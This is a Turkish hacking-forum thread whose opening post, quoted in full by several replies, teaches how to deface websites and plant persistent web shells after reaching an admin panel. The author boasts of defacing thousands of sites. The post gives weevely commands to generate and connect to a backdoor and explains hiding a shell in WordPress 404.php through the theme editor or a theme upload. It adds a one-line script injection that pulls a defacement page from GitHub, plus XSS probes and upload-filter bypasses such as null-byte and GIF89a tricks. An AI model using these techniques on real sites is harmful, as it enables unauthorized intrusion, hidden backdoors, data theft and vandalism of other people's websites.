html olarak kodu güncellediğinizde indexinizi çekecektir. Scriptten kısaca bahsetmek gerekirse index kodlarımızın olduğu sayfa içerisinde yer alan kodları çeker ve varolan sayfaya renderlar. Böylece varolan sayfadaki bütün içerik sizin indexinizle yer değiştirir. Bu scripti yazarken özellikle tek satıra sığdırmaya çalıştım. Çünkü bunu birçok yerde kullanıyorum ve bazı paneller alt satıra geçtiğinizde otomatik <br> tagı atarak script yapınızı bozuyor.

Anasayfaya gittiğimizde sonuç :
TgdjdLF.png

Diğer Websitelere Index Atmak
6OfL8I.gif

Çoğu zaman SQL Injection zaafiyeti ile website hacklediğimizde abuk subuk admin panellerine rastlıyoruz. Bunlar Wordpress, Joomla, vb. gibi bir standarda sahip olmadıkları için
içeriğini keşfedip buna göre bir vektör oluşturmamız gerekiyor.

Ben bu tarz durumlarda eğer shell yükleyebileceğim bir sayfa bulamadığımda içerik girebildiğim sayfalara

HTML:
<script>console.log(1)</script>
veya
HTML:
<script>alert(1)</script>
yazarak javascript kodlarını çalıştırıp, çalıştırmadığını kontrol ediyorum.
gEzkuZE.png

Çalıştırdığı durumlarda wordpress kısmında anlattığım,
Github'dan indexi renderlama kodunu yazıyorum.
Başka bir örnek:
A4pydUh.png


T7yefeP.png

Diğer Websitelere Upload ile Shell Atma Yöntemleri
6OfL8I.gif

Ekran görüntülerini genelde diğer arkadaşlara anlatırken aldığım görüntüler olduğu için upload yapmamız gereken bir website olmadı.

Bundan dolayı elimde ekran görüntüsü yok. Fakat en yaygın kullanılan teknikleri sizler ile paylaşacağım. Bu yöntemler
websitenin dinamiklerine göre değişiyor. En uygun yöntemi deneme yanılma veya analiz yaparak bulabilirsiniz.

1.
Doğrudan yüklemeyi deneyebilirsiniz. Sistem php kontrolü yapmıyor olabilir.
2. Dosyayı upload ederken
burp suite aracılığı ile content-type'sini görüntü formatı olarak değiştirebilirsiniz.
3. Eğer hedef sistem
dosyanın kontrolünü frontend tarafında yapıyorsa burp suite aracılığı ile dosyayı dosyaadi.png şeklinde kaydedip, sunucuya gönderilirken ismini dosyaadi.php şeklinde değiştirebilirsiniz.
4.
PHP dosyasının içeriğinin ilk satırına fotoğraf olarak algılaması için belirli parametreler girebilirsiniz (örnek: GIF89a;).
5.
Null byte injection deneyebilirsiniz. Dosyanın adını shell.php%00.jpg şeklinde düzenlerseniz, sistem shell.php olarak kabul edecektir.
6. php parametresini otomatik olarak siliyorsa PhP gibi değiştirebilirsiniz. php kontrolü yapan operatörler büyük küçük harf ayrımı yapıyorsa bu şekilde atlatabilirsiniz.

Kapanış
6OfL8I.gif

Umarım faydalı bir yazı olmuştur. Ayrıca konu hoşunuza gittiyse paylaştığım diğer konulara göz atabilirsiniz.


FetiSQL V2 | Dork Tarayıcı| SQL Oto Dump |SQL Oto Shell | Panel Bulucu
Google Colab ile DDos ve Botnet saldırıları!| Ufonet | DDos-Ripper
XML-RPC Zaafiyeti ile Wordpress Brute Force
Server-Side Template Injection
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Mentalistler Dork Studio
Yazılım Öğrenme Rehberi | Yazılım Nasıl Öğrenilir? | Kaynaklar | Sıkça Sorulan Sorular
Elinize sağlık hocam
 

ACE Veen

Uzman üye
4 Şub 2023
1,097
551
Belirsiz
a3b2jeo.png

İyi günler Türk Hack Team ailesi.
Yeni olan birçok insan admin paneline kadar giriyor fakat index atmayı beceremeyebiliyor.

Bundan dolayı böyle bir konu açma gereksinimi duydum. Bu konu içeriğinde sizlere Wordpress veya custom admin panelleriyle ilgili nasıl
index veya shell atılır? Sorularının cevabını vereceğim. Elbette çok farklı teknikler mevcut. Fakat konuda anlatacağım içerikler 2012 yılından bu yana kullandığım geçerliliğini koruyan tekniklerdir.

İçerik tamamen eğitim Amaçlıdır.

Belki hatırlayanlar vardır. 2014-2015 yıllarında 10 binlerce websiteyi indexleyip yerli zone sitelerinde Mentalistler nickiyle ilk 10'a yükselmiştim. Birçoğunda bu yöntemleri kullandım.
HZEJ3un.gif

Mantığı Kavramak
6OfL8I.gif

untitledf672302d90d7fa5f.gif

Agresif saldırının temeli
hedef siteye bir input vermekten ve bu inputu değerlendirebilmekten geçiyor. Bundan dolayı bir websitenin herhangi bir paneline(Admin paneli olmasına gerek yok) girdiğimizde kontrol edeceğimiz bazı sayfalar olacak. Kontrol sırasını aşağıdaki sıralamaya göre yapabilirsiniz.

1. Panel içerisinde doğrudan sayfanın
kaynak kodlarını düzenleyebildiğim bir yer var mı?
2. Panel içerisinde doğrudan
sayfaya yükleme yapabileceğim bir yer var mı? (Örneğin görsel, tema, video, vb.)
3. Sayfa içerisinde
yazı girebildiğim herhangi bir sayfa var mı? (Örneğin çoğu panelde duyuru, yorum yapma, vb. sayfaları vardır.)

Genelde 3.sü bütün admin panellerinde olur. 1 ve 2. kontrol için düzenleme veya yükleme yapabilirsiniz fakat doğrudan anasayfaya etki etmez. Bu tarz durumlarda etki ettiği alanı site içerisinde inceleyip, bulmanız gerekir.

Ardından websitenin dinamiklerine göre saldırı vektörlerinizi gözden geçirmeniz gerekiyor. Aşağıda üzerinden detaylı anlatım yapmaya çalışacağım.


Neden Index Yerine Shell Atıyoruz?
6OfL8I.gif

xwryMps.gif

Nedenini bilmeyen
birçok kişi shelli sadece index atmak için kullanıyor. Shell atmanın saldırgan için birçok faydası mevcut.

Aşağıda neden shell kullandığımızın farklı sebeplerini listeliyorum.

1.
Backdoor olarak kullanıp, sonradan tekrar websiteye girmek için kullanılıyor.
2.
Tam yetki, bir websiteye shell attığınızda tam yetkiye sahip olabilirsiniz. Ardından sunucu içerisindeki diğer domainlere atlayabilirsiniz. Yani 1 websiteden onlarca website indexleyebilirsiniz.
3.
Kullanımı kolay, doğrudan anasayfaya erişemediğiniz(Index atmak için) durumlarda anasayfaya shell üzerinden erişebilirsiniz.
4. Shell ile
birçok veriye erişebilir ve indirebilirsiniz.


Nasıl Shell Oluşturulur?
6OfL8I.gif

İnternette birçok shell mevcuttur. Dilerseniz bunları indirip kullanabilirsiniz. Aynı zamanda forumda küçük bir aramayla indirebileceğiniz shellere ulaşabilirsiniz. Fakat ben internette paylaşılan shellere güvenmiyorum. Birçoğu şifrelenmiş olup kaynak kodlarını okuyamayacağımız halde paylaşılıyorlar. Bu durumda benim shell attığım websiteye, attığım shell aracılığıyla bir başkasınında erişebileceği anlamına geliyor. Hatta shelli attığımda shelli yazan kişiye log olarak düşüyor bile olabilir.

Ben shell için
weevely yazılımını kullanıyorum. Weevely tamamen açık kaynak bir yazılımdır.

Kali Linux dağıtımınıza

Kod:
sudo apt install weevely
komutunu yazarak kurabilirsiniz
Ardından

Kod:
weevely generate şifre dosyaadi.php

şeklinde backdoor/shell üretebilirsiniz.
Vwf0ksn.png

Herhangi bir websiteye attıktan sonra bağlantı kurmak için

Kod:
weevely url/weevelyadresi.php password

komutu ile bağlanıp temel linux komutlarıyla websitesini yönetebilirsiniz.

Wordpress Sitelere Nasıl Shell/Index Atılır?
6OfL8I.gif

Wordpress sitelerde farklı kullanıcı tipleri mevcuttur. Bundan dolayı her işlem bütün websitelerde yapılamaz. Fakat sizler için hepsini listeledim.

Kaynak Kodlarını Düzenleyerek Shell Atmak
6OfL8I.gif

Genelde Wordpress sitelerinde
temaları düzenleyebileceğiniz bir alan bulunur. Bu alan sol tarafta Appearance > Theme File Editor altındadır. Bu sayfaya girdiğinizde sağ taraftan düzenlemek istediğiniz tema sayfasını seçip shell kodlarınızı atıp kaydedebilirsiniz. Bu tarz durumlarda genellikle 404.php sayfası seçilir.
deazkgq.png

Yukarıda görselde gösterdiğim gibi 404 sayfasına shell attığınızda
siteadi.com/404.php veya siteadi.com/rastgeleolmayanbisayfa şeklinde adrese gittiğinizde sizi 404 sayfasına yönlendirecektir.

Eğer shellinizi weevely ile ürettiyseniz,
sayfanın bomboş gelmesi gerekiyor. Hemen adrese gidip Weevely ile bağlanmaya çalışalım.
mf6zPXU.png

Görmüş olduğunuz gibi başarılı bir şekilde shellimiz ile bağlantı kurabildik.


Herhangi bir engelden dolayı kaynak kodlarını editleyemediğimizi varsayalım ve başka bir yönteme yönelelim.

Tema Upload Yöntemiyle Shell Atmak
6OfL8I.gif

Wordpress websitelerde, Wordpress temalarını yükleyebilmek için bir sayfa barındırır. Bu sayfa içerisinden
Wordpress'in kendi temalarını yükleyebilirsiniz.

Öncelikle internetten bir
wordpress teması indirmeniz gerekiyor. Ardından indirdiğimiz zip formatında Wordpress temamızı açıyoruz ve içerisinden 404.php'yi silip, kendi shellimiz ile değiştiriyoruz. Eğer websiteye doğrudan index atmak isterseniz, index.php dosyasını silip kendi indexiniz ile değiştirebilirsiniz.
VYvlib7.png


Ardından website içerisinde
Appearance seçeneğinin altından Themes'e gidiyoruz ve yukarıda yer alan upload theme butonuna tıklıyoruz. Daha sonrasında açılan pencereden içeriğini değiştirdiğimiz zip dosyamızı seçip, yüklüyoruz.
X0FkFL8.png

Tema yüklendikten sonra karşımıza aşağıdaki gibi bir sayfa geliyor.
NnjPk0l.png

Burada
eğer indexinizi attıysanız, Activate butonuna tıklayarak temanızı aktif hale getirebilir ve anasayfa üzerinde indexinizi görüntüleyebilirsiniz.

Fakat shell attıysanız amacımız
işlemlerimizi tamamlayana kadar gizli kalmak olduğu için anasayfayı bozacak herhangi bir işlem yapmamamız gerekiyor. Bundan dolayı bu sayfayı gördükten sonra, sayfayı kapayabilirsiniz. Ardından siteadı.com/wp-content/themes/temaadi/404.php adresine giderek shellinize ulaşabilirsiniz.

Aynı işlemleri
tema yerine eklenti kısmından da yapabilirsiniz plugins sekmesinden aynı işlemleri bir wordpress eklentisiyle tekrarlayabilirsiniz.

Yukarıda anlattığım 2 başlığı yapmamıza websitenin izin vermediğini varsayalım.

Yazı Paylaşarak İndex Atmak
6OfL8I.gif

Eğer admin kullanıcısı yerine farklı bir kullanıcı ile giriş yaptıysanız çoğu zaman yukarıdaki seçenekleri uygulayamayabilirsiniz.
Bu durumda kaynak kodu yerine yazı düzenleyebildiğimiz, paylaşabildiğimiz sayfalara erişmemiz gerekir. Wordpress içerisinde Pages veya Posts adı altında bu tarz sayfalara erişebilirsiniz. Pages içerisinde genellikle anasayfa da yer alır. Bunun için sayfalara girip sağ taraftan url adresini kontrol edebilirsiniz. Eğer hiç anasayfa yoksa sadece 1 defaya mahsus kendiniz yaratabilirsiniz.

Bu tarz sayfalar
HTML kodu yazmanıza izin verirler. Genelde insanlar bunların içerisine IFrame veya redirect kodları yazarlar. Fakat buna hiç gerek yok. Bunun için yazdığım basit bir Javascript kodu mevcut. İndex kodlarınızı Github'a yüklemeniz gerekiyor.


JavaScript:
<script>fetch("https://raw.githubusercontent.com/mentalistler/tht-opsdk/main/tht.html").then(response => response.text()).then(html => document.body.innerHTML = html);</script>

T3J0vF0.png


Bu şekilde
html olarak kodu güncellediğinizde indexinizi çekecektir. Scriptten kısaca bahsetmek gerekirse index kodlarımızın olduğu sayfa içerisinde yer alan kodları çeker ve varolan sayfaya renderlar. Böylece varolan sayfadaki bütün içerik sizin indexinizle yer değiştirir. Bu scripti yazarken özellikle tek satıra sığdırmaya çalıştım. Çünkü bunu birçok yerde kullanıyorum ve bazı paneller alt satıra geçtiğinizde otomatik <br> tagı atarak script yapınızı bozuyor.

Anasayfaya gittiğimizde sonuç :
TgdjdLF.png

Diğer Websitelere Index Atmak
6OfL8I.gif

Çoğu zaman SQL Injection zaafiyeti ile website hacklediğimizde abuk subuk admin panellerine rastlıyoruz. Bunlar Wordpress, Joomla, vb. gibi bir standarda sahip olmadıkları için
içeriğini keşfedip buna göre bir vektör oluşturmamız gerekiyor.

Ben bu tarz durumlarda eğer shell yükleyebileceğim bir sayfa bulamadığımda içerik girebildiğim sayfalara

HTML:
<script>console.log(1)</script>
veya
HTML:
<script>alert(1)</script>
yazarak javascript kodlarını çalıştırıp, çalıştırmadığını kontrol ediyorum.
gEzkuZE.png

Çalıştırdığı durumlarda wordpress kısmında anlattığım,
Github'dan indexi renderlama kodunu yazıyorum.
Başka bir örnek:
A4pydUh.png


T7yefeP.png

Diğer Websitelere Upload ile Shell Atma Yöntemleri
6OfL8I.gif

Ekran görüntülerini genelde diğer arkadaşlara anlatırken aldığım görüntüler olduğu için upload yapmamız gereken bir website olmadı.

Bundan dolayı elimde ekran görüntüsü yok. Fakat en yaygın kullanılan teknikleri sizler ile paylaşacağım. Bu yöntemler
websitenin dinamiklerine göre değişiyor. En uygun yöntemi deneme yanılma veya analiz yaparak bulabilirsiniz.

1.
Doğrudan yüklemeyi deneyebilirsiniz. Sistem php kontrolü yapmıyor olabilir.
2. Dosyayı upload ederken
burp suite aracılığı ile content-type'sini görüntü formatı olarak değiştirebilirsiniz.
3. Eğer hedef sistem
dosyanın kontrolünü frontend tarafında yapıyorsa burp suite aracılığı ile dosyayı dosyaadi.png şeklinde kaydedip, sunucuya gönderilirken ismini dosyaadi.php şeklinde değiştirebilirsiniz.
4.
PHP dosyasının içeriğinin ilk satırına fotoğraf olarak algılaması için belirli parametreler girebilirsiniz (örnek: GIF89a;).
5.
Null byte injection deneyebilirsiniz. Dosyanın adını shell.php%00.jpg şeklinde düzenlerseniz, sistem shell.php olarak kabul edecektir.
6. php parametresini otomatik olarak siliyorsa PhP gibi değiştirebilirsiniz. php kontrolü yapan operatörler büyük küçük harf ayrımı yapıyorsa bu şekilde atlatabilirsiniz.

Kapanış
6OfL8I.gif

Umarım faydalı bir yazı olmuştur. Ayrıca konu hoşunuza gittiyse paylaştığım diğer konulara göz atabilirsiniz.


FetiSQL V2 | Dork Tarayıcı| SQL Oto Dump |SQL Oto Shell | Panel Bulucu
Google Colab ile DDos ve Botnet saldırıları!| Ufonet | DDos-Ripper
XML-RPC Zaafiyeti ile Wordpress Brute Force
Server-Side Template Injection
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Mentalistler Dork Studio
Yazılım Öğrenme Rehberi | Yazılım Nasıl Öğrenilir? | Kaynaklar | Sıkça Sorulan Sorular
elinize sağlık hocam
 

SAFESEC

Üye
13 Haz 2023
52
20
a3b2jeo.png

İyi günler Türk Hack Team ailesi.
Yeni olan birçok insan admin paneline kadar giriyor fakat index atmayı beceremeyebiliyor.

Bundan dolayı böyle bir konu açma gereksinimi duydum. Bu konu içeriğinde sizlere Wordpress veya custom admin panelleriyle ilgili nasıl
index veya shell atılır? Sorularının cevabını vereceğim. Elbette çok farklı teknikler mevcut. Fakat konuda anlatacağım içerikler 2012 yılından bu yana kullandığım geçerliliğini koruyan tekniklerdir.

İçerik tamamen eğitim Amaçlıdır.

Belki hatırlayanlar vardır. 2014-2015 yıllarında 10 binlerce websiteyi indexleyip yerli zone sitelerinde Mentalistler nickiyle ilk 10'a yükselmiştim. Birçoğunda bu yöntemleri kullandım.
HZEJ3un.gif

Mantığı Kavramak
6OfL8I.gif

untitledf672302d90d7fa5f.gif

Agresif saldırının temeli
hedef siteye bir input vermekten ve bu inputu değerlendirebilmekten geçiyor. Bundan dolayı bir websitenin herhangi bir paneline(Admin paneli olmasına gerek yok) girdiğimizde kontrol edeceğimiz bazı sayfalar olacak. Kontrol sırasını aşağıdaki sıralamaya göre yapabilirsiniz.

1. Panel içerisinde doğrudan sayfanın
kaynak kodlarını düzenleyebildiğim bir yer var mı?
2. Panel içerisinde doğrudan
sayfaya yükleme yapabileceğim bir yer var mı? (Örneğin görsel, tema, video, vb.)
3. Sayfa içerisinde
yazı girebildiğim herhangi bir sayfa var mı? (Örneğin çoğu panelde duyuru, yorum yapma, vb. sayfaları vardır.)

Genelde 3.sü bütün admin panellerinde olur. 1 ve 2. kontrol için düzenleme veya yükleme yapabilirsiniz fakat doğrudan anasayfaya etki etmez. Bu tarz durumlarda etki ettiği alanı site içerisinde inceleyip, bulmanız gerekir.

Ardından websitenin dinamiklerine göre saldırı vektörlerinizi gözden geçirmeniz gerekiyor. Aşağıda üzerinden detaylı anlatım yapmaya çalışacağım.


Neden Index Yerine Shell Atıyoruz?
6OfL8I.gif

xwryMps.gif

Nedenini bilmeyen
birçok kişi shelli sadece index atmak için kullanıyor. Shell atmanın saldırgan için birçok faydası mevcut.

Aşağıda neden shell kullandığımızın farklı sebeplerini listeliyorum.

1.
Backdoor olarak kullanıp, sonradan tekrar websiteye girmek için kullanılıyor.
2.
Tam yetki, bir websiteye shell attığınızda tam yetkiye sahip olabilirsiniz. Ardından sunucu içerisindeki diğer domainlere atlayabilirsiniz. Yani 1 websiteden onlarca website indexleyebilirsiniz.
3.
Kullanımı kolay, doğrudan anasayfaya erişemediğiniz(Index atmak için) durumlarda anasayfaya shell üzerinden erişebilirsiniz.
4. Shell ile
birçok veriye erişebilir ve indirebilirsiniz.


Nasıl Shell Oluşturulur?
6OfL8I.gif

İnternette birçok shell mevcuttur. Dilerseniz bunları indirip kullanabilirsiniz. Aynı zamanda forumda küçük bir aramayla indirebileceğiniz shellere ulaşabilirsiniz. Fakat ben internette paylaşılan shellere güvenmiyorum. Birçoğu şifrelenmiş olup kaynak kodlarını okuyamayacağımız halde paylaşılıyorlar. Bu durumda benim shell attığım websiteye, attığım shell aracılığıyla bir başkasınında erişebileceği anlamına geliyor. Hatta shelli attığımda shelli yazan kişiye log olarak düşüyor bile olabilir.

Ben shell için
weevely yazılımını kullanıyorum. Weevely tamamen açık kaynak bir yazılımdır.

Kali Linux dağıtımınıza

Kod:
sudo apt install weevely
komutunu yazarak kurabilirsiniz
Ardından

Kod:
weevely generate şifre dosyaadi.php

şeklinde backdoor/shell üretebilirsiniz.
Vwf0ksn.png

Herhangi bir websiteye attıktan sonra bağlantı kurmak için

Kod:
weevely url/weevelyadresi.php password

komutu ile bağlanıp temel linux komutlarıyla websitesini yönetebilirsiniz.

Wordpress Sitelere Nasıl Shell/Index Atılır?
6OfL8I.gif

Wordpress sitelerde farklı kullanıcı tipleri mevcuttur. Bundan dolayı her işlem bütün websitelerde yapılamaz. Fakat sizler için hepsini listeledim.

Kaynak Kodlarını Düzenleyerek Shell Atmak
6OfL8I.gif

Genelde Wordpress sitelerinde
temaları düzenleyebileceğiniz bir alan bulunur. Bu alan sol tarafta Appearance > Theme File Editor altındadır. Bu sayfaya girdiğinizde sağ taraftan düzenlemek istediğiniz tema sayfasını seçip shell kodlarınızı atıp kaydedebilirsiniz. Bu tarz durumlarda genellikle 404.php sayfası seçilir.
deazkgq.png

Yukarıda görselde gösterdiğim gibi 404 sayfasına shell attığınızda
siteadi.com/404.php veya siteadi.com/rastgeleolmayanbisayfa şeklinde adrese gittiğinizde sizi 404 sayfasına yönlendirecektir.

Eğer shellinizi weevely ile ürettiyseniz,
sayfanın bomboş gelmesi gerekiyor. Hemen adrese gidip Weevely ile bağlanmaya çalışalım.
mf6zPXU.png

Görmüş olduğunuz gibi başarılı bir şekilde shellimiz ile bağlantı kurabildik.


Herhangi bir engelden dolayı kaynak kodlarını editleyemediğimizi varsayalım ve başka bir yönteme yönelelim.

Tema Upload Yöntemiyle Shell Atmak
6OfL8I.gif

Wordpress websitelerde, Wordpress temalarını yükleyebilmek için bir sayfa barındırır. Bu sayfa içerisinden
Wordpress'in kendi temalarını yükleyebilirsiniz.

Öncelikle internetten bir
wordpress teması indirmeniz gerekiyor. Ardından indirdiğimiz zip formatında Wordpress temamızı açıyoruz ve içerisinden 404.php'yi silip, kendi shellimiz ile değiştiriyoruz. Eğer websiteye doğrudan index atmak isterseniz, index.php dosyasını silip kendi indexiniz ile değiştirebilirsiniz.
VYvlib7.png


Ardından website içerisinde
Appearance seçeneğinin altından Themes'e gidiyoruz ve yukarıda yer alan upload theme butonuna tıklıyoruz. Daha sonrasında açılan pencereden içeriğini değiştirdiğimiz zip dosyamızı seçip, yüklüyoruz.
X0FkFL8.png

Tema yüklendikten sonra karşımıza aşağıdaki gibi bir sayfa geliyor.
NnjPk0l.png

Burada
eğer indexinizi attıysanız, Activate butonuna tıklayarak temanızı aktif hale getirebilir ve anasayfa üzerinde indexinizi görüntüleyebilirsiniz.

Fakat shell attıysanız amacımız
işlemlerimizi tamamlayana kadar gizli kalmak olduğu için anasayfayı bozacak herhangi bir işlem yapmamamız gerekiyor. Bundan dolayı bu sayfayı gördükten sonra, sayfayı kapayabilirsiniz. Ardından siteadı.com/wp-content/themes/temaadi/404.php adresine giderek shellinize ulaşabilirsiniz.

Aynı işlemleri
tema yerine eklenti kısmından da yapabilirsiniz plugins sekmesinden aynı işlemleri bir wordpress eklentisiyle tekrarlayabilirsiniz.

Yukarıda anlattığım 2 başlığı yapmamıza websitenin izin vermediğini varsayalım.

Yazı Paylaşarak İndex Atmak
6OfL8I.gif

Eğer admin kullanıcısı yerine farklı bir kullanıcı ile giriş yaptıysanız çoğu zaman yukarıdaki seçenekleri uygulayamayabilirsiniz.
Bu durumda kaynak kodu yerine yazı düzenleyebildiğimiz, paylaşabildiğimiz sayfalara erişmemiz gerekir. Wordpress içerisinde Pages veya Posts adı altında bu tarz sayfalara erişebilirsiniz. Pages içerisinde genellikle anasayfa da yer alır. Bunun için sayfalara girip sağ taraftan url adresini kontrol edebilirsiniz. Eğer hiç anasayfa yoksa sadece 1 defaya mahsus kendiniz yaratabilirsiniz.

Bu tarz sayfalar
HTML kodu yazmanıza izin verirler. Genelde insanlar bunların içerisine IFrame veya redirect kodları yazarlar. Fakat buna hiç gerek yok. Bunun için yazdığım basit bir Javascript kodu mevcut. İndex kodlarınızı Github'a yüklemeniz gerekiyor.


JavaScript:
<script>fetch("https://raw.githubusercontent.com/mentalistler/tht-opsdk/main/tht.html").then(response => response.text()).then(html => document.body.innerHTML = html);</script>

T3J0vF0.png


Bu şekilde
html olarak kodu güncellediğinizde indexinizi çekecektir. Scriptten kısaca bahsetmek gerekirse index kodlarımızın olduğu sayfa içerisinde yer alan kodları çeker ve varolan sayfaya renderlar. Böylece varolan sayfadaki bütün içerik sizin indexinizle yer değiştirir. Bu scripti yazarken özellikle tek satıra sığdırmaya çalıştım. Çünkü bunu birçok yerde kullanıyorum ve bazı paneller alt satıra geçtiğinizde otomatik <br> tagı atarak script yapınızı bozuyor.

Anasayfaya gittiğimizde sonuç :
TgdjdLF.png

Diğer Websitelere Index Atmak
6OfL8I.gif

Çoğu zaman SQL Injection zaafiyeti ile website hacklediğimizde abuk subuk admin panellerine rastlıyoruz. Bunlar Wordpress, Joomla, vb. gibi bir standarda sahip olmadıkları için
içeriğini keşfedip buna göre bir vektör oluşturmamız gerekiyor.

Ben bu tarz durumlarda eğer shell yükleyebileceğim bir sayfa bulamadığımda içerik girebildiğim sayfalara

HTML:
<script>console.log(1)</script>
veya
HTML:
<script>alert(1)</script>
yazarak javascript kodlarını çalıştırıp, çalıştırmadığını kontrol ediyorum.
gEzkuZE.png

Çalıştırdığı durumlarda wordpress kısmında anlattığım,
Github'dan indexi renderlama kodunu yazıyorum.
Başka bir örnek:
A4pydUh.png


T7yefeP.png

Diğer Websitelere Upload ile Shell Atma Yöntemleri
6OfL8I.gif

Ekran görüntülerini genelde diğer arkadaşlara anlatırken aldığım görüntüler olduğu için upload yapmamız gereken bir website olmadı.

Bundan dolayı elimde ekran görüntüsü yok. Fakat en yaygın kullanılan teknikleri sizler ile paylaşacağım. Bu yöntemler
websitenin dinamiklerine göre değişiyor. En uygun yöntemi deneme yanılma veya analiz yaparak bulabilirsiniz.

1.
Doğrudan yüklemeyi deneyebilirsiniz. Sistem php kontrolü yapmıyor olabilir.
2. Dosyayı upload ederken
burp suite aracılığı ile content-type'sini görüntü formatı olarak değiştirebilirsiniz.
3. Eğer hedef sistem
dosyanın kontrolünü frontend tarafında yapıyorsa burp suite aracılığı ile dosyayı dosyaadi.png şeklinde kaydedip, sunucuya gönderilirken ismini dosyaadi.php şeklinde değiştirebilirsiniz.
4.
PHP dosyasının içeriğinin ilk satırına fotoğraf olarak algılaması için belirli parametreler girebilirsiniz (örnek: GIF89a;).
5.
Null byte injection deneyebilirsiniz. Dosyanın adını shell.php%00.jpg şeklinde düzenlerseniz, sistem shell.php olarak kabul edecektir.
6. php parametresini otomatik olarak siliyorsa PhP gibi değiştirebilirsiniz. php kontrolü yapan operatörler büyük küçük harf ayrımı yapıyorsa bu şekilde atlatabilirsiniz.

Kapanış
6OfL8I.gif

Umarım faydalı bir yazı olmuştur. Ayrıca konu hoşunuza gittiyse paylaştığım diğer konulara göz atabilirsiniz.


FetiSQL V2 | Dork Tarayıcı| SQL Oto Dump |SQL Oto Shell | Panel Bulucu
Google Colab ile DDos ve Botnet saldırıları!| Ufonet | DDos-Ripper
XML-RPC Zaafiyeti ile Wordpress Brute Force
Server-Side Template Injection
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Mentalistler Dork Studio
Yazılım Öğrenme Rehberi | Yazılım Nasıl Öğrenilir? | Kaynaklar | Sıkça Sorulan Sorular
Eline emeğine sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.